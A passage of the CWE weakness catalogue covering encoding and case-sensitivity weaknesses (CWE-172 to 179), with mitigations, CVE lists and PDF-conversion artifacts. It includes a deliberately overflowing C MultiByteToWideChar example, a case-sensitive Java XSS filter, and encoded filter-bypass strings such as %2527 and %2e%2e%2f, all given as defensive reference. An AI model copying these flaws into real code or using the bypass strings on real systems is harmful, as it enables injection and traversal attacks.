<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>137</td>
<td>Representation Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>172</td>
<td>Encoding Error</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>184</td>
<td>Incomplete Blacklist</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-172: Encoding Error

Summary
The software does not properly encode or decode the data, resulting in unexpected values.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Integrity
  - Unexpected state

Potential Mitigations
CWE Version 2.11
CWE-172: Encoding Error

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>C</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>1000 30</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>C</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>1000 73</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>699 332</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
<td>699 335</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>174</td>
<td>Double Decoding of the Same Data</td>
<td>699 336</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>175</td>
<td>Improper Handling of Mixed Encoding</td>
<td>699 338</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>699 339</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
<td>699 341</td>
</tr>
</tbody>
</table>

Relationship Notes
Partially overlaps path traversal and equivalence weaknesses.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Encoding Error</td>
</tr>
</tbody>
</table>
CWE-173: Improper Handling of Alternate Encoding

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading ‘Ghost’ Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>52</td>
<td>Embedding NULL Bytes</td>
</tr>
<tr>
<td>53</td>
<td>Postfix, Null Terminate, and Backslash</td>
</tr>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>72</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
</tr>
</tbody>
</table>

Maintenance Notes

This is more like a category than a weakness.
Many other types of encodings should be listed in this category.

CWE-173: Improper Handling of Alternate Encoding

<table>
<thead>
<tr>
<th>Weakness ID: 173 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.</td>
<td></td>
</tr>
</tbody>
</table>

Time of Introduction

- Implementation

Applicable Platforms

- Languages
  - All

Common Consequences

- Access Control
- Bypass protection mechanism

Potential Mitigations

- Architecture and Design
- Input Validation
  - Avoid making decisions based on names of resources (e.g., files) if those resources can have alternate names.
- Implementation
- Input Validation
  - Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  - When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  - Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation
Implementation

Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature  Type  ID  Name
ChildOf  172  Encoding Error
CanPrecede  289  Authentication Bypass by Alternate Name
ChildOf  992  SFP Secondary Cluster: Faulty Input Transformation
MemberOf  884  CWE Cross-section

Taxonomy Mappings

Mapped Taxonomy Name  Mapped Node Name
PLOVER  Alternate Encoding

Related Attack Patterns

CAPEC-ID  Attack Pattern Name
3  Using Leading 'Ghost' Character Sequences to Bypass Input Filters
52  Embedding NULL Bytes
53  Postfix, Null Terminate, and Backslash
64  Using Slashes and URL Encoding Combined to Bypass Validation Logic
71  Using Unicode Encoding to Bypass Validation Logic
72  URL Encoding
78  Using Escaped Slashes in Alternate Encoding
79  Using Slashes in Alternate Encoding
80  Using UTF-8 Encoding to Bypass Validation Logic
267  Leverage Alternate Encoding

CWE-174: Double Decoding of the Same Data

Weakness ID: 174 (Weakness Variant)  Status: Draft

Description

Summary
The software decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences
CWE Version 2.11
CWE-174: Double Decoding of the Same Data

Access Control
Confidentiality
Availability
Integrity
Other

Bypass protection mechanism
Execute unauthorized code or commands
Varies by context

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0333</td>
<td>Directory traversal using double encoding.</td>
</tr>
<tr>
<td>CVE-2004-1315</td>
<td>Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result.</td>
</tr>
<tr>
<td>CVE-2004-1938</td>
<td>&quot;%2527&quot; (double-encoded single quote) used in SQL injection.</td>
</tr>
<tr>
<td>CVE-2004-1939</td>
<td>XSS protection mechanism attempts to remove &quot;/&quot; that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)</td>
</tr>
<tr>
<td>CVE-2005-0054</td>
<td>Double hex-encoded data.</td>
</tr>
<tr>
<td>CVE-2005-1945</td>
<td>Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
CWE Version 2.11
CWE-175: Improper Handling of Mixed Encoding

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>172</td>
<td>Encoding Error</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td></td>
<td>1045</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☒</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>V</td>
<td>1395</td>
</tr>
</tbody>
</table>

Research Gaps
Probably under-studied.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Double Encoding</td>
</tr>
</tbody>
</table>

CWE-175: Improper Handling of Mixed Encoding

Weakness ID: 175 (Weakness Variant) Status: Draft
Description
Summary
The software does not properly handle when the same input uses several different (mixed) encodings.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Unexpected state

Potential Mitigations
Architecture and Design
Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>172</td>
<td>Encoding Error</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Mixed Encoding</td>
</tr>
</tbody>
</table>

CWE-176: Improper Handling of Unicode Encoding

Weakness ID: 176 (Weakness Variant) Status: Draft

Description

Summary
The software does not properly handle when an input contains Unicode encoding.

Time of Introduction

• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

C Example:

```c
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0884</td>
<td>Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters.</td>
</tr>
<tr>
<td>CVE-2001-0669</td>
<td>Overlaps interaction error.</td>
</tr>
<tr>
<td>CVE-2001-0709</td>
<td>Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerics, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>172</td>
<td>Encoding Error</td>
<td>699 333</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734 1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868 1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Unicode Encoding</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC10-C</td>
<td>Character Encoding - UTF8 Related Issues</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC10-CPP</td>
<td>Character Encoding - UTF8 Related Issues</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
<td>(CAPEC Version 2.10)</td>
</tr>
</tbody>
</table>

References

CWE Version 2.11
CWE-177: Improper Handling of URL Encoding (Hex Encoding)

- All

Common Consequences
  Integrity
  Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0671</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2000-0900</td>
<td>Hex-encoded path traversal variants - &quot;%2e%2e&quot;, &quot;%2e%2e%2f&quot;, &quot;%5c%2e%2e&quot;</td>
</tr>
<tr>
<td>CVE-2001-0693</td>
<td>%20 (encoded space)</td>
</tr>
<tr>
<td>CVE-2001-0778</td>
<td>%20 (encoded space)</td>
</tr>
<tr>
<td>CVE-2001-1140</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2002-1025</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2002-1031</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2002-1213</td>
<td>%2f (encoded slash)</td>
</tr>
<tr>
<td>CVE-2002-1291</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2002-1575</td>
<td>%0a (overlaps CRLF)</td>
</tr>
<tr>
<td>CVE-2002-1831</td>
<td>Crash via hex-encoded space &quot;%20&quot;.</td>
</tr>
<tr>
<td>CVE-2003-0424</td>
<td>%20 (encoded space)</td>
</tr>
<tr>
<td>CVE-2004-0072</td>
<td>%5c (encoded backslash) and &quot;%2e&quot; (encoded dot) sequences</td>
</tr>
<tr>
<td>CVE-2004-0189</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2004-0280</td>
<td>%20 (encoded space)</td>
</tr>
<tr>
<td>CVE-2004-0760</td>
<td>%00 (encoded null)</td>
</tr>
<tr>
<td>CVE-2004-0847</td>
<td>%5c (encoded backslash)</td>
</tr>
<tr>
<td>CVE-2004-2121</td>
<td>Hex-encoded path traversal variants - &quot;%2e%2e&quot;, &quot;%2e%2e%2f&quot;, &quot;%5c%2e%2e&quot;</td>
</tr>
<tr>
<td>CVE-2005-2256</td>
<td>Hex-encoded path traversal variants - &quot;%2e%2e&quot;, &quot;%2e%2e%2f&quot;, &quot;%5c%2e%2e&quot;</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
CWE-178: Improper Handling of Case Sensitivity

Description

Summary
The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description
Improperly handled case sensitive data can lead to several possible consequences, including:
- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Access Control
- Bypass protection mechanism

Demonstrative Examples
In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

Java Example:
```java
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0239</td>
<td>Directories may be listed because lower case web requests are not properly handled by the server.</td>
</tr>
<tr>
<td>CVE-2000-0497</td>
<td>The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype &quot;text&quot;.</td>
</tr>
<tr>
<td>CVE-2000-0498</td>
<td>The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype &quot;text&quot;.</td>
</tr>
<tr>
<td>CVE-2000-0499</td>
<td>Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-178: Improper Handling of Case Sensitivity

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0766</td>
<td>A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.</td>
</tr>
<tr>
<td>CVE-2001-0795</td>
<td>Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.</td>
</tr>
<tr>
<td>CVE-2001-1238</td>
<td>Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.</td>
</tr>
<tr>
<td>CVE-2002-0485</td>
<td>Leads to interpretation error                                                                ATHERS</td>
</tr>
<tr>
<td>CVE-2002-1820</td>
<td>Mixed case problems allow &quot;admin&quot; to have &quot;Admin&quot; rights (alternate name property).</td>
</tr>
<tr>
<td>CVE-2002-2119</td>
<td>Case insensitive passwords lead to search space reduction.</td>
</tr>
<tr>
<td>CVE-2003-0411</td>
<td>chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype &quot;text&quot;.</td>
</tr>
<tr>
<td>CVE-2004-1083</td>
<td>Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.</td>
</tr>
<tr>
<td>CVE-2004-2154</td>
<td>Mixed upper/lowercase allows bypass of ACLs.</td>
</tr>
<tr>
<td>CVE-2004-2214</td>
<td>HTTP server allows bypass of access restrictions using URLs with mixed case.</td>
</tr>
<tr>
<td>CVE-2005-0269</td>
<td>File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.</td>
</tr>
<tr>
<td>CVE-2005-4509</td>
<td>Bypass malicious script detection by using tokens that aren't case sensitive.</td>
</tr>
<tr>
<td>CVE-2007-3365</td>
<td>Chain: uppercase file extensions causes web server to return script source code instead of executing the script.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementations

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td>1000</td>
</tr>
</tbody>
</table>
Research Gaps
These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

Affected Resources
• File/Directory

Functional Areas
• File Processing, Credentials

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Case Sensitivity (lowercase, uppercase, mixed case)</td>
</tr>
</tbody>
</table>

CWE-179: Incorrect Behavior Order: Early Validation

<table>
<thead>
<tr>
<th>Weakness ID: 179 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

